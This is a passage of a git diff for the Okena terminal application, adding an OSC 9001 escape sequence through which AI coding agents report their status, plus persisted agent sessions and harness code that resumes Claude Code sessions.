+                        custom: Some("running tests 3/5".into()),
+                        labels: [("stage".to_string(), "verify".to_string())]
+                            .into_iter()
+                            .collect(),
+                    },
+                )]
+                .into_iter()
+                .collect(),
                 git_status: None,
                 folder_color: FolderColor::Blue,
                 services: vec![],
diff --git a/crates/okena-core/src/lib.rs b/crates/okena-core/src/lib.rs
index 60e4f9a8b..9b7ed08d5 100644
--- a/crates/okena-core/src/lib.rs
+++ b/crates/okena-core/src/lib.rs
@@ -1,5 +1,8 @@
 #![cfg_attr(not(test), warn(clippy::unwrap_used, clippy::expect_used))]
 
+pub mod agent_harness;
+pub mod agent_session;
+pub mod agent_status;
 pub mod api;
 pub mod git_poll;
 pub mod keys;
diff --git a/crates/okena-daemon-core/src/command_loop.rs b/crates/okena-daemon-core/src/command_loop.rs
index bf258e4fc..6eb5121ba 100644
--- a/crates/okena-daemon-core/src/command_loop.rs
+++ b/crates/okena-daemon-core/src/command_loop.rs
@@ -3373,6 +3373,18 @@ pub async fn daemon_command_loop(
                         .collect()
                 };
 
+                // Agent status is runtime-only and lives on the terminal
+                // registry, so gather it alongside the terminal sizes.
+                let agent_statuses: HashMap<String, okena_core::agent_status::AgentStatus> = {
+                    let registry = terminals.lock();
+                    registry
+                        .iter()
+                        .filter_map(|(id, term)| {
+                            term.agent_status().map(|status| (id.clone(), status))
+                        })
+                        .collect()
+                };
+
                 // Source of truth for runtime visibility (per-window viewport).
                 let hidden_project_ids = &data.main_window.hidden_project_ids;
 
@@ -3432,6 +3444,7 @@ pub async fn daemon_command_loop(
                     &services_by_project,
                     hidden_project_ids,
                     &size_map,
+                    &agent_statuses,
                     windows,
                     hooks,
                 );
@@ -5673,6 +5686,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -6030,6 +6044,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -6770,6 +6785,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -7012,6 +7028,7 @@ mod tests {
                 is_remote: false,
                 connection_id: None,
                 service_terminals: Default::default(),
+                agent_sessions: Default::default(),
                 default_shell: None,
                 hook_terminals: Default::default(),
                 pinned: false,
@@ -8489,6 +8506,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/daemon.rs b/crates/okena-daemon-core/src/daemon.rs
index 44b8ff7a0..c6d6b89c7 100644
--- a/crates/okena-daemon-core/src/daemon.rs
+++ b/crates/okena-daemon-core/src/daemon.rs
@@ -802,6 +802,7 @@ mod shutdown_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::from([("web".to_string(), "service".to_string())]),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::from([(
                 "hook".to_string(),
@@ -901,6 +902,7 @@ mod shutdown_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -984,6 +986,7 @@ mod shutdown_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/observers.rs b/crates/okena-daemon-core/src/observers.rs
index 9a7d9a724..394451892 100644
--- a/crates/okena-daemon-core/src/observers.rs
+++ b/crates/okena-daemon-core/src/observers.rs
@@ -956,6 +956,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals,
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/pty_loop.rs b/crates/okena-daemon-core/src/pty_loop.rs
index bb268fd3c..f3217b325 100644
--- a/crates/okena-daemon-core/src/pty_loop.rs
+++ b/crates/okena-daemon-core/src/pty_loop.rs
@@ -207,6 +207,17 @@ pub async fn run_pty_loop(
             if process_activity_edges(&dirty_terminal_ids, &terminals, &reactor) {
                 state_version.send_modify(|v| *v += 1);
             }
+
+            // Agent status is runtime-only, so its dirty edge must advance the
+            // daemon's state version explicitly for remote clients.
+            if drain_remote_dirty(&dirty_terminal_ids, &terminals) {
+                state_version.send_modify(|v| *v += 1);
+            }
+
+            // Agent sessions are sticky on Terminal but persistent in the
+            // workspace. The workspace tick observer handles the durable save
+            // and subsequent state-version bump.
+            persist_agent_sessions(&dirty_terminal_ids, &terminals, &reactor);
         }
 
         if !exit_events.is_empty() {
@@ -469,6 +480,58 @@ fn process_activity_edges(
     true
 }
 
+/// Consume runtime-only terminal changes that remote clients must observe.
+fn drain_remote_dirty(dirty_terminal_ids: &[String], terminals: &TerminalsRegistry) -> bool {
+    let registry = terminals.lock();
+    let mut changed = false;
+    for terminal_id in dirty_terminal_ids {
+        if registry
+            .get(terminal_id)
+            .is_some_and(|terminal| terminal.take_remote_dirty())
+        {
+            changed = true;
+        }
+    }
+    changed
+}
+
+/// Persist agent sessions captured by the terminal OSC sidecar.
+fn persist_agent_sessions(
+    dirty_terminal_ids: &[String],
+    terminals: &TerminalsRegistry,
+    reactor: &PtyLoopReactor,
+) {
+    let captured: Vec<(String, okena_core::agent_session::AgentSession)> = {
+        let registry = terminals.lock();
+        dirty_terminal_ids
+            .iter()
+            .filter_map(|terminal_id| {
+                let terminal = registry.get(terminal_id)?;
+                if !terminal.take_agent_session_dirty() {
+                    return None;
+                }
+                terminal
+                    .agent_session()
+                    .map(|session| (terminal_id.clone(), session))
+            })
+            .collect()
+    };
+    if captured.is_empty() {
+        return;
+    }
+
+    let mut cx = reactor.workspace_cx();
+    let mut workspace = reactor.workspace.lock();
+    for (terminal_id, session) in captured {
+        if let Some(project_id) = workspace
+            .find_project_for_terminal(&terminal_id)
+            .map(|project| project.id.clone())
+        {
+            workspace.set_agent_session(&project_id, &terminal_id, session, &mut cx);
+        }
+    }
+}
+
 struct ExitHandlingContext<'a> {
     terminals: &'a TerminalsRegistry,
     pty_manager: &'a PtyManager,
@@ -974,6 +1037,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -1004,6 +1068,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::from([(
                 hook_terminal_id.to_string(),
@@ -1060,6 +1125,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/soft_close.rs b/crates/okena-daemon-core/src/soft_close.rs
index 51cb2f83a..9d70a2c99 100644
--- a/crates/okena-daemon-core/src/soft_close.rs
+++ b/crates/okena-daemon-core/src/soft_close.rs
@@ -157,6 +157,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/worktree_close_watchdog.rs b/crates/okena-daemon-core/src/worktree_close_watchdog.rs
index f967d8ed8..ab3aa0433 100644
--- a/crates/okena-daemon-core/src/worktree_close_watchdog.rs
+++ b/crates/okena-daemon-core/src/worktree_close_watchdog.rs
@@ -108,6 +108,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: Default::default(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-ext-claude/src/harness.rs b/crates/okena-ext-claude/src/harness.rs
new file mode 100644
index 000000000..cbac7801d
--- /dev/null
+++ b/crates/okena-ext-claude/src/harness.rs
@@ -0,0 +1,55 @@
+//! The Claude Code agent harness — how Okena resumes a captured Claude session
+//! (and, later, reads its transcript). Registered into the gpui-free
+//! [`okena_core::agent_harness`] registry so resume works on desktop *and*
+//! headless/remote.
+
+use okena_core::agent_harness::AgentHarness;
+use std::path::Path;
+use std::sync::Arc;
+
+/// Claude Code (`claude` CLI). Agent id `"claude-code"` — matches the extension
+/// id and the `OKENA_AGENT` the bundled lifecycle plugin sets.
+pub struct ClaudeHarness;
+
+impl AgentHarness for ClaudeHarness {
+    fn id(&self) -> &str {
+        "claude-code"
+    }
+
+    fn resume_command(&self, session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+        // `claude --resume <id>` resumes a specific conversation. Claude scopes
+        // session lookup to the cwd it runs in, which is exactly the pane's
+        // restored working directory — so cwd needs no special handling here.
+        // `session_id` is already UUID-validated upstream and is passed as a
+        // distinct argv element (never shell-interpolated).
+        Some(vec![
+            "claude".to_string(),
+            "--resume".to_string(),
+            session_id.to_string(),
+        ])
+    }
+}
+
+/// Build the Claude Code harness for registration in `okena_core::agent_harness`.
+pub fn register_harness() -> Arc<dyn AgentHarness> {
+    Arc::new(ClaudeHarness)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn resume_command_shape() {
+        let h = ClaudeHarness;
+        assert_eq!(h.id(), "claude-code");
+        assert_eq!(
+            h.resume_command("3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b", Path::new("/proj")),
+            Some(vec![
+                "claude".to_string(),
+                "--resume".to_string(),
+                "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b".to_string(),
+            ])
+        );
+    }
+}
diff --git a/crates/okena-ext-claude/src/lib.rs b/crates/okena-ext-claude/src/lib.rs
index 0558bdf08..9f84e73ed 100644
--- a/crates/okena-ext-claude/src/lib.rs
+++ b/crates/okena-ext-claude/src/lib.rs
@@ -1,10 +1,12 @@
 #![cfg_attr(not(test), warn(clippy::unwrap_used, clippy::expect_used))]
 
+mod harness;
 mod settings;
 mod status;
 mod ui_helpers;
 pub mod usage;
 
+pub use harness::register_harness;
 pub use usage::resolve_claude_dir;
 
 use gpui::{AnyView, AppContext as _};
diff --git a/crates/okena-ext-codex/src/harness.rs b/crates/okena-ext-codex/src/harness.rs
new file mode 100644
index 000000000..0c976924c
--- /dev/null
+++ b/crates/okena-ext-codex/src/harness.rs
@@ -0,0 +1,32 @@
+//! The Codex agent harness. The resume command is a placeholder until the exact
+//! `codex` resume invocation is confirmed — the point here is the **seam**: a
+//! second harness plugging into [`okena_core::agent_harness`] purely by
+//! registering, no core/app change. Codex session *capture* (its own hook glue)
+//! and transcript stats land alongside this. `okena-ext-codex` already knows how
+//! to read `~/.codex/sessions/**.jsonl` (see `usage.rs`), so `transcript_stats`
+//! is a natural follow-up here.
+
+use okena_core::agent_harness::AgentHarness;
+use std::path::Path;
+use std::sync::Arc;
+
+/// Codex (`codex` CLI). Agent id `"codex"` — matches the extension id.
+pub struct CodexHarness;
+
+impl AgentHarness for CodexHarness {
+    fn id(&self) -> &str {
+        "codex"
+    }
+
+    fn resume_command(&self, _session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+        // TODO: confirm Codex's resume CLI invocation before enabling
+        // auto-resume for Codex. `None` = no auto-resume yet (graceful — the
+        // session is still captured, persisted, and shown).
+        None
+    }
+}
+
+/// Build the Codex harness for registration in `okena_core::agent_harness`.
+pub fn register_harness() -> Arc<dyn AgentHarness> {
+    Arc::new(CodexHarness)
+}
diff --git a/crates/okena-ext-codex/src/lib.rs b/crates/okena-ext-codex/src/lib.rs
index 0f644a9d7..c8dd8bf6c 100644
--- a/crates/okena-ext-codex/src/lib.rs
+++ b/crates/okena-ext-codex/src/lib.rs
@@ -1,11 +1,13 @@
 #![cfg_attr(not(test), warn(clippy::unwrap_used, clippy::expect_used))]
 
+mod harness;
 mod settings;
 mod status;
 mod ui_helpers;
 mod usage;
 
 use gpui::{AnyView, AppContext as _};
+pub use harness::register_harness;
 use okena_extensions::{ExtensionInstance, ExtensionManifest, ExtensionRegistration};
 use std::sync::Arc;
 
diff --git a/crates/okena-state/src/workspace_data.rs b/crates/okena-state/src/workspace_data.rs
index 5bbb75e68..7fa2bab6d 100644
--- a/crates/okena-state/src/workspace_data.rs
+++ b/crates/okena-state/src/workspace_data.rs
@@ -248,6 +248,12 @@ pub struct ProjectData {
     /// Used to reconnect to persistent sessions across restarts
     #[serde(default)]
     pub service_terminals: HashMap<String, String>,
+    /// Per-terminal AI agent session (terminal_id -> session) captured in-band
+    /// via the agent-status OSC `lbl=`. Persisted so a pane can offer to resume
+    /// its agent (`claude --resume <id>`, …) after a restart. Harness-agnostic:
+    /// the session's `agent` field selects which harness resumes it.
+    #[serde(default)]
+    pub agent_sessions: HashMap<String, okena_core::agent_session::AgentSession>,
     /// Per-project default shell (overrides global default when ShellType::Default is used)
     #[serde(default)]
     pub default_shell: Option<ShellType>,
@@ -366,6 +372,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-terminal/CLAUDE.md b/crates/okena-terminal/CLAUDE.md
index e8e807187..bfcb2c832 100644
--- a/crates/okena-terminal/CLAUDE.md
+++ b/crates/okena-terminal/CLAUDE.md
@@ -14,6 +14,58 @@ Wraps `alacritty_terminal` for ANSI processing and `portable-pty` for cross-plat
 | `backend.rs` | Terminal backend abstraction. |
 | `process.rs` | Process spawning utilities. |
 
+## OSC sequences (sidecar)
+
+`terminal/osc_sidecar.rs` is a side-channel VTE parser run on the same byte
+stream as the main processor, for sequences alacritty ignores or answers
+differently than Okena wants: `OSC 7` / `OSC 1337 CurrentDir` (cwd), `OSC 9` /
+`OSC 777` / `OSC 99` (notifications), `OSC 9;4` (progress), `OSC 133` (shell
+marks, via a separate prompt sidecar), and `XTVERSION`.
+
+### `OSC 9001` — agent status (Okena private)
+
+A **stable contract** other tools depend on (see `docs/agent-status.md`). An AI
+agent reports its own lifecycle by writing to its terminal:
+
+```
+ESC ] 9001 ; st=<working|blocked|done|idle|clear> [ ; msg=<b64> ] [ ; lbl=<b64-json> ] ST
+```
+
+- `9001` is a private OSC number (not a standard sequence); keep it stable.
+- `msg`/`lbl` values are base64(UTF-8) so they stay `;`/`ST`-safe (the VTE parser
+  splits OSC params on `;`).
+- Unknown/missing `st` leaves the current status untouched; `clear` removes it.
+- Parsed into the canonical `okena_core::agent_status::AgentStatus`, stored on
+  `Terminal.agent_status` (runtime-only), read via `Terminal::agent_status()`.
+  `msg`/`lbl` are clamped on parse (`AgentStatus::new_clamped`) so a hostile pane
+  can't pin unbounded memory (custom ≤ a few KB, labels bounded) — mirrors the
+  OSC 99 caps.
+- `lbl=` reserves three keys — `agent`, `session_id`, `transcript_path`. With an
+  `agent` id + a UUID-shaped `session_id`, they're captured into a **sticky**
+  `okena_core::agent_session::AgentSession` on `Terminal.agent_session` (read via
+  `Terminal::agent_session()`). Unlike `agent_status` it survives `st=clear`
+  (it's the pane's session identity for resume + transcript stats, persisted by
+  the app layer), and a change sets the `agent_session_dirty` edge (drained via
+  `take_agent_session_dirty`). Per-harness resume/transcript logic is dispatched
+  by `agent` id through the gpui-free `okena_core::agent_harness` registry
+  (impls live in the `okena-ext-*` crates). A non-UUID `session_id` is dropped.
+- A change stores into the shared one-shot `remote_dirty` edge (drained via
+  `take_remote_dirty`), which the PTY event loop consumes
+  (`Okena::process_remote_dirty`) to bump the remote `state_version`. This edge
+  is **generic**, not agent-specific: any runtime-only signal that remote
+  clients should see reuses it rather than adding its own changed-edge +
+  per-feature drain. A transition into `blocked`/`done` also queues a
+  `TerminalNotification` (reusing the OSC 9 notification path + focus
+  suppression).
+- `pty_manager.rs` exports `OKENA_TTY` (the pane's slave pty path, from
+  `ptsname` on the master fd) into the pane env so a process **without a
+  controlling terminal** — e.g. a Claude Code hook — can emit this OSC by
+  writing to `$OKENA_TTY` (writing to the slave reaches Okena's master reader
+  even through a nested dtach/tmux pty). `/dev/tty` only works for interactive
+  processes, not hooks. Captured at first spawn via `cmd.env`, so it goes
+  **stale on reattach** to a persistent dtach/tmux session (not yet refreshed
+  per-attach — known follow-up).
+
 ## Threading Model
 
 Three execution contexts access `Terminal`:
diff --git a/crates/okena-terminal/src/pty_manager.rs b/crates/okena-terminal/src/pty_manager.rs
index 85e43a1a8..64b5450af 100644
--- a/crates/okena-terminal/src/pty_manager.rs
+++ b/crates/okena-terminal/src/pty_manager.rs
@@ -882,6 +882,13 @@ impl PtyManager {
             }
         }
 
+        // Expose the pane's slave pty so agent hooks without a controlling
+        // terminal can emit in-band status updates through `$OKENA_TTY`.
+        #[cfg(unix)]
+        if let Some(path) = slave_pty_path(pair.master.as_ref()) {
+            cmd.env("OKENA_TTY", path);
+        }
+
         // Spawn the process
         let child = pair.slave.spawn_command(cmd)?;
 
@@ -2354,6 +2361,20 @@ fn first_proc_child(_pid: u32) -> Option<u32> {
     None
 }
 
+/// Resolve the slave device path for a pty master.
+#[cfg(unix)]
+fn slave_pty_path(master: &dyn MasterPty) -> Option<String> {
+    let fd = master.as_raw_fd()?;
+    let ptr = unsafe { libc::ptsname(fd) };
+    if ptr.is_null() {
+        return None;
+    }
+    unsafe { std::ffi::CStr::from_ptr(ptr) }
+        .to_str()
+        .ok()
+        .map(str::to_owned)
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/crates/okena-terminal/src/terminal/meta.rs b/crates/okena-terminal/src/terminal/meta.rs
index 0a9383d0a..ca3a07c0e 100644
--- a/crates/okena-terminal/src/terminal/meta.rs
+++ b/crates/okena-terminal/src/terminal/meta.rs
@@ -67,6 +67,39 @@ impl Terminal {
         *self.progress.lock()
     }
 
+    /// Latest agent status reported via the agent-status OSC (`OSC 9001`), or
+    /// `None` when no agent has reported one (or it was cleared). Read each
+    /// render to drive the per-tab indicator and the sidebar "Agents" section.
+    pub fn agent_status(&self) -> Option<okena_core::agent_status::AgentStatus> {
+        self.agent_status.lock().clone()
+    }
+
+    /// Consume the one-shot "remote-visible state changed since last drain"
+    /// edge. Returns true if anything marked it since the previous call, then
+    /// resets it. The PTY event loop uses this to bump the remote
+    /// `state_version` so remote / mobile clients re-fetch.
+    pub fn take_remote_dirty(&self) -> bool {
+        self.remote_dirty
+            .swap(false, std::sync::atomic::Ordering::Relaxed)
+    }
+
+    /// The durable agent session captured for this pane (`agent` + `session_id`
+    /// + optional `transcript_path`), or `None` if none has been reported.
+    ///
+    /// Unlike [`agent_status`](Self::agent_status) this is **sticky** — it
+    /// survives `st=clear` — since it's the identity used for resume + transcript
+    /// stats, persisted into `workspace.json` by the app layer.
+    pub fn agent_session(&self) -> Option<okena_core::agent_session::AgentSession> {
+        self.agent_session.lock().clone()
+    }
+
+    /// Consume the one-shot "agent session changed since last drain" edge. The
+    /// PTY event loop uses this to persist the new session into `workspace.json`.
+    pub fn take_agent_session_dirty(&self) -> bool {
+        self.agent_session_dirty
+            .swap(false, std::sync::atomic::Ordering::Relaxed)
+    }
+
     /// Push the active theme palette so the event listener can answer
     /// OSC 10/11/12/4 color queries with real theme colors. Called from the
     /// render loop on every frame; writes are cheap and uncontested.
diff --git a/crates/okena-terminal/src/terminal/mod.rs b/crates/okena-terminal/src/terminal/mod.rs
index 40ba429b7..f67c540df 100644
--- a/crates/okena-terminal/src/terminal/mod.rs
+++ b/crates/okena-terminal/src/terminal/mod.rs
@@ -3,6 +3,8 @@ use alacritty_terminal::term::{Config as TermConfig, Term};
 use alacritty_terminal::vte::ansi::{
     CursorShape as VteCursorShape, CursorStyle as VteCursorStyle, Processor,
 };
+use okena_core::agent_session::AgentSession;
+use okena_core::agent_status::AgentStatus;
 use parking_lot::Mutex;
 use std::sync::Arc;
 use std::sync::atomic::{AtomicBool, AtomicU64};
@@ -206,6 +208,36 @@ pub struct Terminal {
     /// on `st=0`), GPUI reads via `progress`. GPUI thread only.
     pub(super) progress: Arc<Mutex<Option<TerminalProgress>>>,
 
+    /// Latest agent status reported via the agent-status OSC (`OSC 9001`), or
+    /// `None` when never set / cleared. `Arc` shared with `OscSidecar`: the
+    /// sidecar overwrites it on each sequence, GPUI reads via `agent_status`.
+    /// Runtime-only (never persisted). GPUI thread only.
+    pub(super) agent_status: Arc<Mutex<Option<AgentStatus>>>,
+
+    /// One-shot "remote-visible state changed since last drain" edge. `Arc`
+    /// shared with `OscSidecar`: any runtime-only signal whose change remote
+    /// clients should see (currently agent status, `OSC 9001`) stores into it,
+    /// and the PTY event loop consumes it via `take_remote_dirty` to bump the
+    /// remote `state_version` so remote / mobile clients re-fetch. Generic by
+    /// design — a new such signal (e.g. progress, `OSC 9;4`) sets this same flag
+    /// instead of growing its own changed-edge + per-feature drain in
+    /// `okena-app`. Mirrors `bell_pending`.
+    pub(super) remote_dirty: Arc<AtomicBool>,
+
+    /// Durable agent session captured from the agent-status OSC `lbl=` (`agent`
+    /// + `session_id` + `transcript_path`). `Arc` shared with `OscSidecar`.
+    ///
+    /// Unlike `agent_status` this is **sticky** — it survives `st=clear` —
+    /// because it's the pane's session identity used for resume + transcript
+    /// stats, and is persisted into `workspace.json` by the app layer (so,
+    /// unlike agent status, it is *not* runtime-only).
+    pub(super) agent_session: Arc<Mutex<Option<AgentSession>>>,
+
+    /// One-shot "agent session changed since last drain" edge, shared with
+    /// `OscSidecar`. Set when `agent_session` changes; the PTY event loop drains
+    /// it via `take_agent_session_dirty` to persist the new session.
+    pub(super) agent_session_dirty: Arc<AtomicBool>,
+
     /// Per-renderer focus state for DEC focus reports. A terminal can appear
     /// in multiple windows, so focus reports are derived from the aggregate
     /// instead of whichever view rendered last.
@@ -400,10 +432,18 @@ impl Terminal {
         let reported_cwd = Arc::new(Mutex::new(None));
         let pending_notifications = Arc::new(Mutex::new(Vec::new()));
         let progress = Arc::new(Mutex::new(None));
+        let agent_status = Arc::new(Mutex::new(None));
+        let remote_dirty = Arc::new(AtomicBool::new(false));
+        let agent_session = Arc::new(Mutex::new(None));
+        let agent_session_dirty = Arc::new(AtomicBool::new(false));
         let osc_sidecar = Mutex::new(OscSidecar::new(
             reported_cwd.clone(),
             pending_notifications.clone(),
             progress.clone(),
+            agent_status.clone(),
+            remote_dirty.clone(),
+            agent_session.clone(),
+            agent_session_dirty.clone(),
             transport.clone(),
             terminal_id.clone(),
         ));
@@ -435,6 +475,10 @@ impl Terminal {
             reported_cwd,
             pending_notifications,
             progress,
+            agent_status,
+            remote_dirty,
+            agent_session,
+            agent_session_dirty,
             focus_report_state: Mutex::new(FocusReportState::default()),
             osc_sidecar,
             prompt_sidecar: Mutex::new(PromptSidecar::new()),
diff --git a/crates/okena-terminal/src/terminal/osc_sidecar.rs b/crates/okena-terminal/src/terminal/osc_sidecar.rs
index 053bccc24..a28965670 100644
--- a/crates/okena-terminal/src/terminal/osc_sidecar.rs
+++ b/crates/okena-terminal/src/terminal/osc_sidecar.rs
@@ -1,8 +1,11 @@
 use alacritty_terminal::vte::Perform;
 use base64::Engine as _;
+use okena_core::agent_session::AgentSession;
+use okena_core::agent_status::{AgentLifecycle, AgentStatus};
 use parking_lot::Mutex;
 use std::collections::HashMap;
 use std::sync::Arc;
+use std::sync::atomic::{AtomicBool, Ordering};
 
 use super::app_version::app_version;
 use super::transport::TerminalTransport;
@@ -52,10 +55,15 @@ pub(crate) struct OscSidecar {
 }
 
 impl OscSidecar {
+    #[allow(clippy::too_many_arguments)]
     pub(super) fn new(
         reported_cwd: Arc<Mutex<Option<String>>>,
         pending_notifications: Arc<Mutex<Vec<TerminalNotification>>>,
         progress: Arc<Mutex<Option<TerminalProgress>>>,
+        agent_status: Arc<Mutex<Option<AgentStatus>>>,
+        remote_dirty: Arc<AtomicBool>,
+        agent_session: Arc<Mutex<Option<AgentSession>>>,
+        agent_session_dirty: Arc<AtomicBool>,
         transport: Arc<dyn TerminalTransport>,
         terminal_id: String,
     ) -> Self {
@@ -65,6 +73,10 @@ impl OscSidecar {
                 reported_cwd,
                 pending_notifications,
                 progress,
+                agent_status,
+                remote_dirty,
+                agent_session,
+                agent_session_dirty,
                 transport,
                 terminal_id,
                 osc99_pending: HashMap::new(),
@@ -86,6 +98,24 @@ struct SidecarPerform {
     /// `None` when cleared (`st=0`). Overwritten on each progress sequence and
     /// read by the GPUI thread via `Terminal::progress`.
     progress: Arc<Mutex<Option<TerminalProgress>>>,
+    /// Latest agent status reported via the agent-status OSC, or `None` when
+    /// never set / cleared (`st=clear`). Overwritten on each sequence and read
+    /// by the GPUI thread via `Terminal::agent_status`.
+    agent_status: Arc<Mutex<Option<AgentStatus>>>,
+    /// One-shot "remote-visible state changed since last drain" edge, shared
+    /// with `Terminal`. Set whenever a runtime-only signal here changes state
+    /// remote clients should see (currently agent status), consumed by the PTY
+    /// event loop (`take_remote_dirty`) to bump the remote `state_version` so
+    /// remote / mobile clients re-fetch. Generic by design — not agent-specific.
+    /// Mirrors `bell_pending`.
+    remote_dirty: Arc<AtomicBool>,
+    /// Sticky agent session identity (`agent` + `session_id` + `transcript_path`)
+    /// captured from the `lbl=` of an agent-status OSC. Unlike `agent_status`
+    /// it survives `st=clear`; the app layer persists it for resume + stats.
+    agent_session: Arc<Mutex<Option<AgentSession>>>,
+    /// One-shot edge set when `agent_session` changes; drained by the PTY event
+    /// loop to persist the session. Mirrors `remote_dirty`.
+    agent_session_dirty: Arc<AtomicBool>,
     transport: Arc<dyn TerminalTransport>,
     terminal_id: String,
     /// In-progress `OSC 99` notifications keyed by `i=` id, awaiting their
@@ -262,6 +292,170 @@ impl SidecarPerform {
             _ => return,
         };
     }
+
+    /// Handle Okena's agent-status protocol
+    /// `OSC 9001 ; st=<state> [; msg=<b64>] [; lbl=<b64-json>]`.
+    ///
+    /// An AI coding agent (or a thin hook) pushes its own lifecycle here:
+    /// - `st=working|blocked|done|idle` sets the lifecycle.
+    /// - `st=clear` removes the status entirely.
+    /// - `msg=` carries base64(UTF-8) free-form text (e.g. "running tests 3/5").
+    /// - `lbl=` carries base64 of a flat JSON `{"k":"v"}` object of extras.
+    ///
+    /// `msg`/`lbl` are base64-encoded so their values stay `;`/ST-safe (the VTE
+    /// parser splits OSC params on `;`). A missing or unknown `st` leaves the
+    /// current status untouched — a malformed sequence can never panic or
+    /// spuriously clear an active status.
+    ///
+    /// On a transition *into* a notifying state (`blocked` / `done`) a
+    /// [`TerminalNotification`] is queued so the GPUI layer raises a desktop
+    /// notification — reusing the same drain + focused-pane suppression as
+    /// `OSC 9` notifications.
+    fn handle_agent_status(&mut self, params: &[&[u8]]) {
+        // params[0] is the OSC number; the rest are `key=value` pairs.
+        let mut st: Option<&str> = None;
+        let mut msg_b64: Option<&str> = None;
+        let mut lbl_b64: Option<&str> = None;
+        for kv in &params[1..] {
+            let Ok(s) = std::str::from_utf8(kv) else {
+                continue;
+            };
+            let mut it = s.splitn(2, '=');
+            let key = it.next().unwrap_or("").trim();
+            let val = it.next().unwrap_or("").trim();
+            match key {
+                "st" => st = Some(val),
+                "msg" => msg_b64 = Some(val),
+                "lbl" => lbl_b64 = Some(val),
+                _ => {}
+            }
+        }
+
+        let Some(st) = st else {
+            log::debug!(
+                "agent-status[{}]: OSC 9001 with no st= field — ignored",
+                self.terminal_id
+            );
+            return; // no state field — nothing to do
+        };
+
+        if st == "clear" {
+            let mut slot = self.agent_status.lock();
+            let changed = slot.is_some();
+            *slot = None;
+            drop(slot);
+            if changed {
+                self.remote_dirty.store(true, Ordering::Relaxed);
+            }
+            log::debug!(
+                "agent-status[{}]: clear (changed={changed})",
+                self.terminal_id
+            );
+            return;
+        }
+        let Some(lifecycle) = AgentLifecycle::from_token(st) else {
+            log::debug!(
+                "agent-status[{}]: unknown st={st:?} — ignored, status left as-is",
+                self.terminal_id
+            );
+            return; // unknown state — ignore, leave current status as-is
+        };
+
+        // Decode the agent-supplied fields BEFORE taking the lock — base64 of a
+        // hostile multi-MB payload must not run while holding `agent_status`.
+        // `new_clamped` bounds the decoded sizes (a pane could otherwise pin
+        // unbounded memory we then re-serialize to every remote client) and
+        // maps an empty `msg=` to `None` so a notifying state keeps its default
+        // body instead of an empty string.
+        let custom = msg_b64.and_then(decode_osc_base64);
+        let labels = lbl_b64
+            .and_then(decode_osc_base64)
+            .map(|json| okena_core::agent_status::parse_labels_json(&json))
+            .unwrap_or_default();
+        let new_status = AgentStatus::new_clamped(lifecycle, custom, labels);
+
+        // Durable session capture (resume + transcript stats). The `agent` +
+        // `session_id` labels are the pane's *sticky* session identity, NOT part
+        // of the ephemeral status — record them on a separate field that
+        // survives `st=clear`, so the pane can later offer to resume or show
+        // stats. Require both (without an `agent` id we don't know which harness
+        // could resume it) and validate the id looks like a UUID: it's
+        // untrusted in-band data that may reach a resume command.
+        if let (Some(agent), Some(sid)) = (
+            new_status.labels.get("agent"),
+            new_status.labels.get("session_id"),
+        ) && okena_core::agent_session::is_uuid_like(sid)
+        {
+            let session = AgentSession {
+                agent: agent.clone(),
+                session_id: sid.clone(),
+                transcript_path: new_status.labels.get("transcript_path").cloned(),
+            };
+            let mut s = self.agent_session.lock();
+            if s.as_ref() != Some(&session) {
+                *s = Some(session);
+                self.agent_session_dirty.store(true, Ordering::Relaxed);
+            }
+        }
+
+        // Notify only on a *transition* into a notifying state, so repeated
+        // identical reports don't ping. Decide while holding the slot (we need
+        // the previous value), then release it before touching the notification
